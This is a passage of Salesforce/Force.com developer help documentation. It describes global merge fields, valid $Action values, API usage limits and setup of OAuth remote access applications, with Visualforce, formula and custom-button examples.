1638
Develop Defining Custom S-Controls

Use: Use this expression in a Visualforce page to access a custom


label. When the application server constructs the page to be
presented to the end-user’s browser, the value returned depends
upon the language setting of the contextual user. The value
returned is one of the following, in order of precedence:
1. the local translation's text
2. the packaged translation's text
3. the master label's text

Visualforce Example: <apex:page>


<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.firstrun_helptext}"
/>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$Label.Site
Description: A global merge field type to use when referencing a standard label in a Visualforce page. Like all
standard labels, the text will display based on the user's language and locale.
Use: Use this expression in a Visualforce page to access a standard label. When the application server
constructs the page to be presented to the end-user’s browser, the value returned depends on the
language and locale of the user.
Salesforce.com provides the following labels:

Label Message
authorization_required Authorization Required
bandwidth_limit_exceeded Bandwidth Limit Exceeded
change_password Change Password
change_your_password Change Your Password
click_forget_password If you have forgotten your password, click Forgot
Password to reset it.
community_nickname Nickname
confirm_password Confirm Password
down_for_maintenance <i>{0}</i> is down for maintenance
email Email
email_us email us
enter_password Did you forget your password? Please enter your username
below.
error Error: {0}

1639
Develop Defining Custom S-Controls

Label Message
error2 Error
file_not_found File Not Found
forgot_password Forgot Password
forgot_password_confirmation Forgot Password Confirmation
forgot_your_password_q Forgot Your Password?
get_in_touch Please <a href="{0}">{1}</a> if you need to get in touch.
go_to_login_page Go to Login Page
img_path /img/sites
in_maintenance Down For Maintenance
limit_exceeded Limit Exceeded
login Login
login_button Login
login_or_register_first You must first log in or register before accessing this page.
logout Logout
new_password New Password
new_user_q New User?
old_password Old Password
page_not_found Page Not Found
page_not_found_detail Page Not Found: {0}
password Password
passwords_dont_match Passwords did not match.
powered_by Powered by
register Register
resistration_confirmation Registration Confirmation
site_login Site Login
site_under_construction Site Under Construction
sorry_for_inconvenience Sorry for the inconvenience.
sorry_for_inconvenience_back_shortly Sorry for the inconvenience. We'll be back shortly.
stay_tuned Stay tuned.
submit Submit
temp_password_sent An email has been sent to you with your temporary
password.

1640
Develop Defining Custom S-Controls

Label Message
thank_you_for_registering Thank you for registering. An email has been sent to you
with your temporary password.
under_construction <i>{0}</i> is under construction
user_registration New User Registration
username Username
verify_new_password Verify New Password

Visualforce Example: <apex:page>


<apex:pageMessage severity="info"
strength="1"
summary="{!$Label.Site.temp_password_sent}"
/>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$ObjectType
Description: A global merge field type to use when referencing standard
or custom objects such as accounts, cases, or opportunities as
well as the value of a field on that object. Use object type merge
fields in LINKTO, GETRECORDIDS, and URLFOR
functions to reference a specific type of data or the VLOOKUP
function to reference a specific field in a related object.
Use:
1. Select the field type: $ObjectType.
2. Select an object to insert a merge field representing that
object, such as $ObjectType.Case.
Optionally, select a field on that object using the following
syntax:
$ObjectType.Role_Limit__c.Fields.Limit__c
.

Custom Button Example: The custom list button below references the cases standard
object in the$ObjectType.Case merge field.

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}

var records =
{!GETRECORDIDS($ObjectType.Case)};
var newRecords = [];

if (records[0] == null)
{
alert("Please select at least one row")
}

1641
Develop Defining Custom S-Controls

else
{
for (var n=0; n<records.length; n++) {
var c = new sforce.SObject("Case");
c.id = records[n];
c.Status = "New";
newRecords.push(c);
}

result =
sforce.connection.update(newRecords);

window.location.reload();
}

Validation Rule Example: This example checks that a billing postal code is valid by
looking up the first five characters of the value in a custom
object called Zip_Code__c that contains a record for every
valid zip code in the US. If the zip code is not found in the
Zip_Code__c object or the billing state does not match the
corresponding State_Code__c in the Zip_Code__c object, an
error is displayed.

AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))

<> BillingState
)

Visualforce Example: The following example retrieves the label for the account
namefield:

{!$ObjectType.account.fields.name.label}

Tips: This global variable is available in Visualforce pages, custom


buttons and links, s-controls and validation rules.

$Organization
Description: A global merge field type to use when referencing information
about your company profile. Use organization merge fields to
reference your organization's city, fax, ID, or other details.
Use:
1. Select the field type: $Organization.
2. Select a merge field such as $Organization.Fax.

Validation Rule Example: Use organization merge fields to compare any attribute for
your organization with that of your accounts. For example,

1642
Develop Defining Custom S-Controls

you may want to determine if your organization has the same


country as your accounts. The validation formula below
references your organization's country merge field and requires
a country code for any account that is foreign.
AND($Organization.Country <> BillingCountry,
ISNULL( Country_Code__c ) )

Visualforce Example: Use dot notation to access your organization's information.


For example, to retrieve the street and state of your
organization, use the following:
{!$Organization.Street}
{!$Organization.State}

Note that you cannot use the {!$Organization.UiSkin}


in Visualforce.

Tips: The organization merge fields get their values from whatever
values are currently stored as part of your company information
in Salesforce.com.

$Page
Description: A global merge field type to use when referencing a Visualforce
page.
Use: Use this expression in a Visualforce page to access another
Visualforce page.
Visualforce Example: <apex:page>
<h1>Linked</h1>
<a href="{!$Page.otherPage}">This is a
link to another page</a>
</apex:page>

Tips: This global variable is only available for Visualforce pages.

$Profile
Description: A global merge field type to use when referencing information
about the current user's profile. Use profile merge fields to
reference information about the user's profile such as license
type or name.
Use:
1. Select the field type: $Profile.
2. Select a merge field such as $Profile.Name.

Validation Rule Example: The validation rule formula below references the profile name
of the current user to ensure that only the record owner or

1643
Develop Defining Custom S-Controls

users with this profile can make changes to a custom field


called Personal Goal:

AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Visualforce Example: To return the current user's profile, use the following:
{$Profile.Name}

Tips: • $Profile merge fields are only available in Editions that


can create custom profiles.
• Use profile names to reference standard profiles in
$Profile merge fields. If you previously referenced the
internal value for a profile, use the following list to
determine the name to use instead:

Standard Profile $Profile Value


Name
System Administrator PT1
Standard User PT2

Ready Only PT3

Solution Manager PT4

Marketing User PT5

Contract Manager PT6

Partner User PT7

Standard Platform PT8


User
Standard Platform PT9
One App User
Customer Portal User PT13
Customer Portal PT14
Manager

• Your merge field values will be blank if the profile


attributes are blank. For example profile Description
is not required and may not contain a value.
• You do not need to give users permissions or access rights
to their profile information to use these merge fields.

1644
Develop Defining Custom S-Controls

$RecordType
Description: A global merge field to use when referencing a record type.
Use: Add $RecordType manually to your s-control.
Visualforce Example: To return the ID of the current record type, use the following:
{$RecordType.Id}

Tips: • Use $RecordType.Id to reference a specific record type


instead of $RecordType.Id. While $RecordType.Id
makes a formula more readable, you must update the
formula if the name of the record type changes, whereas
the ID of a record type never changes.
• Do not use the $RecordType.Id variable in cross-object
formulas. The $RecordType.Id variable only resolves
to the record containing the formula, not the record to
which the formula spans.

$Request
Description: A global merge field to use when referencing a query parameter
by name that returns a value.
Use: Add $Request manually to your s-control.
S-Control Example: The snippet below, named Title_Snippet, requires two
input parameters: titleTheme and titleText. You can
reuse it in many s-controls to provide page title and theme in
your HTML.

<h2 class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>

The s-control below calls this snippet using the INCLUDE


function, sending it the parameters for both the title and theme
of the HTML page it creates.

<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My
Sample Title"]) }

... Insert your page specific content here


...

</body>
</html>

Tips: Do not use $Request in Visualforce pages to reference query


parameters. Use $CurrentPage instead.

1645
Develop Defining Custom S-Controls

$Resource
Description: A global merge field type to use when referencing an existing
static resource by name in a Visualforce page. You can also
use resource merge fields in URLFOR functions to reference
a particular file in a static resource archive.
Use: Use $Resource to reference an existing static resource. The
format is $Resource.nameOfResource, such as
$Resource.TestImage.

Visualforce Examples: The Visualforce component below references an image file


that was uploaded as a static resource and given the name
TestImage:

<apex:image url="{!$Resource.TestImage}"
width="50" height="50" />

To reference a file in an archive (such as a .zip or .jar file),


use the URLFOR function. Specify the static resource name
that you provided when you uploaded the archive with the
first parameter, and the path to the desired file within the
archive with the second. For example:

<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50"
height="50" />

Tips: This global variable is only available for Visualforce pages.

$SControl
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.

Description: A global merge field type to use when referencing an existing


custom s-control by name. Use s-control merge fields in
LINKTO, INCLUDE, and URLFOR functions to reference
one of your custom s-controls.
Use:
1. Select the field type: $SControl.
2. Select an s-control to insert a merge field representing that
s-control, such as $Scontrol.Header_Snippet.

S-Control Example: The s-control below references the snippet in the


$Scontrol.Header_Snippet merge field:

<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}

1646
Develop Defining Custom S-Controls

</body>
</html>

Visualforce Example: The following example shows how to link to an s-control


named HelloWorld in a Visualforce page:

<apex:page>
<apex:outputLink
value="{!$SControl.HelloWorld}">Open the
HelloWorld s-control</apex:outputLink>
</apex:page>

Note that if you simply want to embed an s-control in a page,


you can use the <apex:scontrol> tag without the
$SControl merge field. For example:

<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>

Tips: • The drop-down list for Insert Merge Field lists all
your custom s-controls except snippets. Although snippets
are s-controls, they behave differently. For example, you
cannot reference a snippet from a URLFOR function
directly; snippets are not available when creating a custom
button or link that has a Content Source of Custom
S-Control; and you cannot add snippets to your page
layouts. To insert a snippet in your s-control, use the
Insert Snippet drop-down button.
• This global variable is only available for custom buttons
and links, s-controls, and Visualforce pages.

$Site
Description: A global merge field type to use when referencing information about the current Force.com site.
Use:
Use dot notation to access information about the current Force.com site. Note that only the following
site fields are available:

Merge Field Description


{!$Site.Name} Returns the API name of the current site.
{!$Site.Domain} Returns the Force.com domain name for your organization.
{!$Site.CustomWebAddress} Returns the value of the Custom Web Address field for the
current site.
{!$Site.OriginalUrl} Returns the original URL for this page if it is a designated
error page for the site; otherwise, returns null.

1647
Develop Defining Custom S-Controls

Merge Field Description


{!$Site.CurrentSiteUrl} Returns the value of the site URL for the current request (for
example, http://myco.com/ or
https://myco.force.com/prefix/).

{!$Site.LoginEnabled} Returns true if the current site is associated with an active


login-enabled portal; otherwise returns false.
{!$Site.RegistrationEnabled} Returns true if the current site is associated with an active
self-regitration-enabled Customer Portal; otherwise returns
false.

{!$Site.IsPasswordExpired} For authenticated users, returns true if the currently


logged-in user's password is expired. For non-authenticated
users, returns false.
{!$Site.AdminEmailAddress} Returns the value of the Site Contact field for the current
site.
{!$Site.Prefix} Returns the URL path prefix of the current site. For example,
if your site URL is myco.force.com/partners, partners
is the path prefix. Returns null if the prefix is not defined, or
if the page was accessed using a custom Web address.
{!$Site.Template} Returns the template name associated with the current site;
returns the default template if no template has been
designated.
{!$Site.ErrorMessage} Returns an error message for the current page if it is a
designated error page for the site and an error exists; otherwise,
returns an empty string.
{!$Site.ErrorDescription} Returns the error description for the current page if it is a
designated error page for the site and an error exists; otherwise,
returns an empty string.
{!$Site.AnalyticsTrackingCode} The tracking code associated with your site. This code can be
used by services like Google Analytics to track page request
data for your site.

Visualforce Example: The following example shows how to use the $Site.Template merge field:

<apex:page title="Job Application Confirmation" showHeader="false"


standardStylesheets="true">
<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">
<apex:define name="body">
<apex:form>
<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return
false;"/>
<br/>
<br/>
<center><apex:outputText value="Your application has been saved.
Thank
you for your interest!"/></center>
<br/>

1648
Develop Defining Custom S-Controls

<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>

Tips: This global variable is available in Visualforce pages, email templates, and s-controls.

$System.OriginDateTime
Description: A global merge field that represents the literal value of
1900-01-01 00:00:00. Use this global variable when
performing date/time offset calculations or to assign a literal
value to a date/time field.
Use:
1. Select the field type: $System.
2. Select OriginDateTime from the Insert Merge
Field option.

Formula Example: The example below illustrates how to convert a date field into
a date/time field. It uses the date in the OriginDateTime
merge field to get the number of days since a custom field
called My Date Field. Then, it adds the number of days to
the OriginDateTime value.

$System.OriginDatetime + ( My_Date_Field__c
- DATEVALUE($System.OriginDatetime) )

Note: OriginDateTime is in the GMT time zone


but the result is displayed in the user's local time zone.

Visualforce Example: The following example calculates the number of days that have
passed since 1900:
{!NOW() - $System.OriginDateTime}

Tips: This global variable is available in Visualforce pages, default


values, field updates, formula fields, s-controls, and validation
rules.

$User
Description: A global merge field type to use when referencing information
about the current user. User merge fields can reference
information about the user such as alias, title, and ID.
Use:
1. Select the field type: $User.
2. Select a merge field such as $User.Username.

1649
Develop Defining Custom S-Controls

Validation Rule Example: The validation rule formula below references the ID of the
current user to determine if the current user is the owner of
the record. Use an example like this to ensure that only the
record owner or users with an administrator profile can make
changes to a custom field called Personal Goal:

AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Visualforce Example: The following example displays the current user's company
name, as well as the status of the current user (which returns
a Boolean value).
<apex:page>
<h1>Congratulations</h1>
This is your new Apex Page
<p>The current company name for this
user is: {!$User.CompanyName}</p>
<p>Is the user active?
{!$User.isActive}</p>
</apex:page>

Tips: • The current user is the person changing the record that
prompted the default value, validation rule, or other
operation that uses these global merge fields.
• When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
• When a workflow field update changes a record, the user
is the Default Workflow User.
• Some of the $User merge fields can be used in mobile
configuration filters. For more information, see Merge
Fields for Mobile Filter Criteria on page 747.

$User.UITheme and $User.UIThemeDisplayed


Description: These global merge fields identify the Salesforce.com look
and feel a user sees on a given Web page.
The difference between the two variables is that
$User.UITheme returns the look and feel set by the user,
while $User.UIThemeDisplayed returns the actual look
and feel. For example, a user may have the permission set to
see the new user interface theme look and feel, but if they are
using a browser that doesn't support that look and feel,
$User.UIThemeDisplayed returns a different value.
Factors that affect the expected theme from displaying include
the user agent of the browser and whether accessibility mode
is enabled.

1650
Develop Defining Custom S-Controls

Use: Use these variables to identify the CSS used to render


Salesforce.com web pages to a user. Both variables return one
of the following values:
• Theme1—Obsolete Salesforce.com theme
• Theme2—Salesforce.com theme used prior to Spring '10
• PortalDefault—Salesforce.com Customer Portal theme
• Webstore—Salesforce.com AppExchange theme
• Theme3—Current Salesforce.com theme, introduced
during Spring '10

Visualforce Example: The following example shows how you can render different
layouts based on a user's theme:

<apex:page>
<apex:pageBlock title="My Content"
rendered="{!$User.UITheme == 'Theme2'}">
// this is the old theme...
</apex:pageBlock>

<apex:pageBlock title="My Content"


rendered="{!$User.UITheme == 'Aloha'}">
//this is the new theme ...
</apex:pageBlock>
</apex:page>

The section “Styling Visualforce Pages” in the Visualforce


Developer's Guide provides more information on how to use
these global variables.

$UserRole
Description: A global merge field type to use when referencing information
about the current user's role. Role merge fields can reference
information such as role name, description, and ID.
Use:
1. Select the field type: $UserRole.
2. Select a merge field such as $UserRole.Name.

Validation Rule Example: The validation rule formula below references the user role
name to validate that a custom field called Discount
Percent does not exceed the maximum value allowed for
that role:

Discount_Percent__c >

VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,

$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

1651
Develop Defining Custom S-Controls

Visualforce Example: {!$UserRole.LastModifiedById}

Tips: • The current user is the person changing the record that
prompted the default value, validation rule, or other
operation that uses these global merge fields.
• When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
• When a workflow field update changes a record, the user
is the Default Workflow User.
Note: You cannot use the following $UserRole
values in Visualforce:
• CaseAccessForAccountOwner
• ContactAccessForAccountOwner
• OpportunityAccessForAccountOwner
• PortalType

See Also:
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls
Documentation Resources for Force.com Developers

Valid Values for the $Action Global Variable


$Action global variable available in: All Editions

User Permissions Needed


To create, edit, and delete custom s-controls, formulas, or "Customize Application"
Visualforce pages:

The following table lists the actions you can reference with the $Action global variable and the objects on which you can
perform those actions. The values available in your organization may differ depending on the features you enable.

Value Description Objects


Accept Accept a record. • Ad group
• Case
• Event

1652
Develop Defining Custom S-Controls

• Google campaign
• Keyword
• Lead
• Search phrase
• SFGA version
• Text ad

Activate Activate a contract. Contract


Add Add a product to a price book. Product2
AddCampaign Add a member to a campaign. Campaign
AddInfluence Add a campaign to an opportunity's list Opportunity
of influential campaigns.
AddProduct Add a product to price book. OpportunityLineItem
AddToCampaign Add a contact or lead to a campaign. • Contact
• Lead

AddToOutlook Add an event to Microsoft Outlook. Event


AdvancedSetup Launch campaign advanced setup. Campaign
AltavistaNews Launch www.altavista.com/news/. • Account
• Lead

Cancel Cancel an event. Event


CaseSelect Specify a case for a solution. Solution
ChangeOwner Change the owner of a record. • Ad group
• Campaign
• Case
• Contact
• Contract
• Google campaign
• Keyword
• Leads
• Opportunities
• Search phrase
• SFGA version
• Text ad

ChangeStatus Change the status of a case. • Case


• Lead

ChoosePricebook Choose the price book to use. OpportunityLineItem

1653
Develop Defining Custom S-Controls

Clone Clone a record. • Ad group


• Asset
• Campaign
• Campaign member
• Case
• Contact
• Contract
• Event
• Google campaign
• Keyword
• Lead
• Opportunity
• Product
• Search phrase
• SFGA version
• Text ad

CloneAsChild Create a related case with the details of Case


a parent case.
CloseCase Close a case. Case
Convert Create a new account, contact, and Lead
opportunity using the information from
a lead.
ConvertLead Convert a lead to a campaign member. Campaign Member
Create_Opportunity Create an opportunity based on a Campaign Member
campaign member.
Decline Decline an event. Event
Delete Delete a record. • Ad group
• Asset
• Campaign
• Campaign member
• Case
• Contact
• Contract
• Event
• Google campaign
• Keyword
• Lead
• Opportunity
• Opportunity product
• Product
• Search phrase

1654
Develop Defining Custom S-Controls

• SFGA version
• Solution
• Task
• Text ad

DeleteSeries Delete a series of events or tasks. • Event


• Task

DisableCustomerPortal Disable a Customer Portal user. Contact


DisableCustomerPortalAccount Disable a Customer Portal account. Account
DisablePartnerPortal Disable a Partner Portal user. Contact
DisablePartnerPortalAccount Disable a Partner Portal account. Account
Download Download an attachment. • Attachment
• Document

Edit Edit a record. • Ad group


• Asset
• Campaign
• Campaign member
• Case
• Contact
• Contract
• Event
• Google campaign
• Keyword
• Lead
• Opportunity
• Opportunity product
• Product
• Search phrase
• SFGA version
• Solution
• Task
• Text ad

EditAllProduct Edit all products in a price book. OpportunityLineItem


EnableAsPartner Designate an account as a partner Account
account.
EnablePartnerPortalUser Enable a contact as a Partner Portal user. Contact
EnableSelfService Enable a contact as a Self-Service user. Contact
FindDup Display duplicate leads. Lead

1655
Develop Defining Custom S-Controls

FollowupEvent Create a follow-up event. Event


FollowupTask Create a follow-up task. Event
HooversProfile Display a Hoovers profile. • Account
• Lead

IncludeOffline Include an account record in Connect Account


Offline.
GoogleMaps Plot an address on Google Maps. • Account
• Contact
• Lead

GoogleNews Display www.google.com/news. • Account


• Contact
• Lead

GoogleSearch Display www.google.com. • Account


• Contact
• Lead

List List records of an object. • Ad group


• Campaign
• Case
• Contact
• Contract
• Google campaign
• Keyword
• Lead
• Opportunity
• Product
• Search phrase
• SFGA version
• Solution
• Text ad

LogCall Log a call. Activity


MailMerge Generate a mail merge. Activity
ManageMembers Launch the Manage Members page. Campaign
MassClose Close multiple cases. Case
Merge Merge contacts. Contact
New Create a new record. • Activity
• Ad group

1656
Develop Defining Custom S-Controls

• Asset
• Campaign
• Case
• Contact
• Contract
• Event
• Google campaign
• Keyword
• Lead
• Opportunity
• Search phrase
• SFGA version
• Solution
• Task
• Text ad

NewTask Create a task. Task


RequestUpdate Request an update. • Contact
• Activity

SelfServSelect Register a user as a Self Service user. Solution


SendEmail Send an email. Activity
SendGmail Open a blank email in Gmail. • Contact
• Lead

Sort Sort products in a price book. OpportunityLineItem


Share Share a record. • Account
• Ad group
• Campaign
• Case
• Contact
• Contract
• Google campaign
• Keyword
• Lead
• Opportunity
• Search phrase
• SFGA version
• Text ad

Submit for Approval Submit a record for approval. • Account


• Activity

1657
Develop Defining Custom S-Controls

• Ad group
• Asset
• Campaign
• Campaign member
• Case
• Contact
• Contract
• Event
• Google campaign
• Keyword
• Lead
• Opportunity
• Opportunity product
• Product
• Search phrase
• SFGA version
• Solution
• Task
• Text ad

Tab Access the tab for an object. • Ad group


• Campaign
• Case
• Contact
• Contract
• Google campaign
• Keyword
• Lead
• Opportunity
• Product
• Search phrase
• SFGA version
• Solution
• Text ad

View View a record. • Activity


• Ad group
• Asset
• Campaign
• Campaign member
• Case
• Contact
• Contract
• Event

1658
Develop Force.com API Usage Limits

• Google campaign
• Keyword
• Lead
• Opportunity
• Opportunity product
• Product
• Search phrase
• SFGA version
• Solution
• Text ad

ViewAllCampaignMembers List all campaign members. Campaign


ViewCampaignInfluenceReport Display the Campaigns with Influenced Campaign
Opportunities report.

ViewPartnerPortalUser List all Partner Portal users. Contact


ViewSelfService List all Self-Service users. Contact
YahooMaps Plot an address on Yahoo! Maps. • Account
• Contact
• Lead

YahooWeather Display Contact


http://weather.yahoo.com/.

See Also:
Understanding Global Variables

Force.com API Usage Limits


Available in: Enterprise, Unlimited, and Developer Editions

To maintain optimum performance and ensure that the Force.com API is available to all of our customers, salesforce.com
balances transaction loads by imposing two types of limits:

• Concurrent API Request Limits


• Total API Request Limits

When a call exceeds a request limit, an error is returned.

1659
Develop Force.com API Usage Limits

Concurrent API Request Limits


The following table lists the limits for various types of organizations for concurrent requests (calls) with a duration of 20
seconds or longer:

Organization Type Limit


Developer Edition 5
Trial organizations 5
Production organizations 25
Sandbox 25

Total API Request Limits


The following table lists the limits for the total API requests (calls) per 24-hour period for an organization:

Salesforce.com Edition API Calls Per License Type Minimum Maximum


Developer Edition N/A 5,000 5,000
Force.com Free Edition • Salesforce: 1,000 5,000 1,000,000
• Salesforce Platform: 200

• Enterprise Edition • Salesforce: 1,000 5,000 1,000,000


• Professional Edition with • Salesforce Platform: 1,000
API access enabled • Salesforce Platform Light: 200
• Force.com - One App: 200
• Force.com - Free: 200
• Content Only User: 200
• Gold Partner: 200
• Silver Partner: 200
• Bronze Partner: 200

Unlimited Edition • Salesforce: 5,000 5,000 5,000,000


• Salesforce Platform: 5,000
• Salesforce Platform Light: 200
• Force.com - One App: 200
• Force.com - Free: 200
• Content Only User: 200
• Gold Partner: 200
• Silver Partner: 200
• Bronze Partner: 200

Sandbox N/A N/A 5,000,000

Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a
per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making
additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.

1660
Develop Force.com API Usage Limits

In the Salesforce.com application, administrators can view how many API requests have been issued in the last 24 hours on
the Company Information page at Setup ➤ Company Profile ➤ Company Information. Administrators can also view a
more detailed report of API usage over the last seven days by navigating to the Reports tab, selecting the Administrative
Reports folder and clicking the API Usage Last 7 days report.
Note: Limits are automatically enforced for all editions.

Any action that sends a call to the API counts toward usage limits, except the following:
• Outbound messages
• Apex callouts
You can configure your organization so that email is sent to a designated user when the number of API requests has exceeded
a specified percentage of the limit. For more information, see About API Usage Notifications on page 705.

Example API Usage Metering Calculations


The following examples illustrate API usage metering calculations for several scenarios:
• For an Enterprise Edition organization with five Salesforce licenses, the request limit is 5,000 requests (5 licenses X 1,000
calls).
• For an Enterprise Edition organization with 15,000 Salesforce licenses, the request limit is 1,000,000 (the number of
licenses X 1,000 calls is greater than the maximum value, so the lower limit of 1,000,000 is used).
• For a Developer Edition organization that made 4,500 calls at 5:00 AM Wednesday, 499 calls at 11:00 PM Wednesday,
only one more call could successfully be made until 5:00 AM Thursday.
• For an Enterprise Edition organization with 20 Gold Partner licenses, the request limit is 5,000 (the number of licenses
X 200 calls is less than the minimum value of 5,000).

Increasing Total API Request Limit


The calculation of the API request limit based on user licenses is designed to allow sufficient capacity for your organization
based on your number of users. If you need a higher limit and you don't want to purchase additional user licenses or upgrade
to Unlimited Edition, you can purchase additional API calls. For more information, contact your account representative.
Before you purchase additional API calls, you should perform a due diligence of your current API usage. Client applications,
whether it is your own enterprise applications or partner applications, that make calls to the API can often be optimized to
use fewer API calls to do the same work. If you are using a partner product, you should consult with the vendor to verify that
the product is making optimal use of the API. A product that makes inefficient use of the API will incur unnecessary cost for
your organization.

See Also:
Monitoring Resources
Salesforce.com Editions and Limits
Documentation Resources for Force.com Developers
Viewing User License Types

1661
Develop Documentation Resources for Force.com Developers

Documentation Resources for Force.com Developers


The Developer Force Technical Library is your resource for information about developing on the Force.com platform. Here
you can learn Force.com fundamentals and advanced programming techniques, get started with Visualforce or Apex, learn
how to write SOQL and SOSL queries, dig into Web services and metadata APIs, and more.
Find everything from high-level tutorials to detailed reference guides and sample code, and learn how to package and implement
your apps.
Note: Many of these developer documentation resources are only available in English.

See Also:
Using the Help & Training Window

Remote Access Application Overview


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

Salesforce.com supports the OAuth protocol for authenticating Web applications that access data in a Salesforce.com instance.
OAuth is an open protocol that allows secure authentication and is often described as the valet key of software access. A valet
key only allows access to certain features of your car: you cannot open the trunk or glove compartment using a valet key.
Similarly, OAuth limits access to a software application, without having to hand out the user's username and password.
Note: Salesforce.com currently supports OAuth version 1.0.A.

For more information on the OAuth standard, see the OAuth.net documentation.
A remote access application is an application external to Salesforce.com that uses the OAuth protocol to verify both the
Salesforce.com user and the external application.
Tip: OAuth does not automatically limit access to a user's Salesforce.com data. Limits to data access are either specified
by the user's profile or by the package access controls of a remote access application that is included in a managed
package.

For more information on terminology, see Remote Access Applications and OAuth Terminology on page 1663.
The following is the general flow for using a remote access application with Salesforce.com:

1662
Develop Remote Access Application Overview

1. A developer uses the remote access pages in Salesforce.com (Setup ➤ Develop ➤ Remote Access) to define a remote
access application.
In this example, the remote access application is a Google gadget, which uses data that already exists in Salesforce.com.
2. The developer uses the generated consumer secret and key from the remote access application detail page and develops
the Google gadget using the consumer secret and key and the OAuth library.
3. A user starts to use the Google gadget application.
4. The user performs an action with the Google gadget that requires access to Salesforce.com data.
5. The user is presented with a login to Salesforce.com.
6. The Remote Access Authorization page displays. It verifies if the user wants to grant the remote access application, that
is, the Google gadget, access to the user's Salesforce.com data.
7. If the user approves access, the approval page displays. The approval page may contain a verification code that the user
must enter in the Google gadget application.
8. If the user denies access, the user is prompted to log out of Salesforce.com.
9. After a user has granted access to a remote access application, he or she can revoke that access by clicking Setup ➤ My
Personal Information ➤ Personal Information and clicking Deny next to the name of the application in the Remote
Access related list.

Note: Users can authorize a remote access application to access their Salesforce.com more than once, for example,
for both a laptop and a desktop computer. The default limit is five per application per user. If a user tries to grant
access to an application more than organization limit, the access token for that application that hasn't been used for
the longest period of time is revoked.

See Also:
Remote Access Applications and OAuth Terminology
Defining Remote Access Applications
Authenticating Remote Access Application OAuth
Packaging Remote Access Applications
Managing Remote Access Applications
Installing a Package

Remote Access Applications and OAuth Terminology


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

AccessToken
A value used by the consumer to gain access to protected resources on behalf of the user, instead of using the user’s
Salesforce.com credentials.

1663
Develop Defining Remote Access Applications

Consumer
A website or application that uses OAuth to authenticate both the Salesforce.com user as well as the application on the
user's behalf.

Consumer Key
A value used by the consumer to identify itself to Salesforce.com.

Consumer Secret
A secret used by the consumer to establish ownership of the consumer key.

Nonce
A number, often a random number, used during authentication to ensure that requests cannot be reused.

OAuth Protocol Parameters


Parameters with names beginning with oauth_, such as oauth_consumer_key and oauth_nonce.

RequestToken
A value used by the consumer to obtain authorization from the user, and exchanged for an AccessToken.

Service Provider
A Web application that allows access using OAuth. This is your Salesforce.com instance after remote access has been
enabled.

TokenSecret
A secret used by the consumer to establish ownership of a given token, both for RequestTokens and AccessTokens.

User
An individual who has a Salesforce.com login.

See Also:
Remote Access Application Overview

Defining Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

Use the remote access pages to define remote access applications that can access a Salesforce.com instance.
To define a remote access application:

1. Click Setup ➤ Develop ➤ Remote Access, and click New. Alternatively, click Setup ➤ Create ➤ Packages, click the
name of the managed package, then click New in the Remote Access section.

1664
Develop Defining Remote Access Applications

Important: Once you add a remote access application to a package, you cannot remove it from the package. The
only way to remove a remote access application from a package is to delete it from your organization.
A remote access application in an unmanaged package can only be used in the organization in which it was created.
Only remote access applications in managed packages can be used across organizations.

2. Specify the name of the application. This is required. Salesforce.com recommends that this name match the name of the
actual application.
3. Specify the Callback URL, which is the URL that the user should be returned to after they approve access for the application.
If Callback URL is defined, the oauth_callback parameter must be set to the oob when trying to get the request token.
This URL uses https or another protocol. It cannot use http.
4. If the application has a specific logo, you can specify that using the Logo Image URL. The URL must be secure (uses
https).
5. If appropriate, specify the Contact Phone and Contact Email.
6. Enter a description of the application. When a user grants access to an application, this description displays.
7. If you used Setup ➤ Develop ➤ Remote Access to create this remote access application, you can select a managed package
to include this remote access application in.
Important: If you create a remote access application and do not include it in a managed package, you can never
add it later.

8. Click Save.

When you save the remote access definition, the consumer key and consumer secret are automatically generated. The consumer
key and consumer secret are available globally in all Salesforce.com instances.
Note: After you save a remote access definition, it may take a few minutes before it become available.

The consumer should store the consumer key and consumer secret in their application. The keys are used in authenticating a
user using the remote access application.
Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated.

See Also:
Remote Access Application Overview
Viewing Remote Access Application Details
Remote Access Applications and OAuth Terminology

1665
Develop Deleting Remote Access Applications

Packaging Remote Access Applications


Available in: All Editions

User Permissions Needed


To manage, create, edit and delete OAuth applications: “Manage Remote Access”

When defining a remote access application, take the following into consideration when packaging remote access applications:

• Once you add a remote access application to a package, you cannot remove it from the package. The only way to remove
a remote access application from a package is to delete it from your organization.
• When you delete a remote access application contained in a managed package, access to that remote access application is
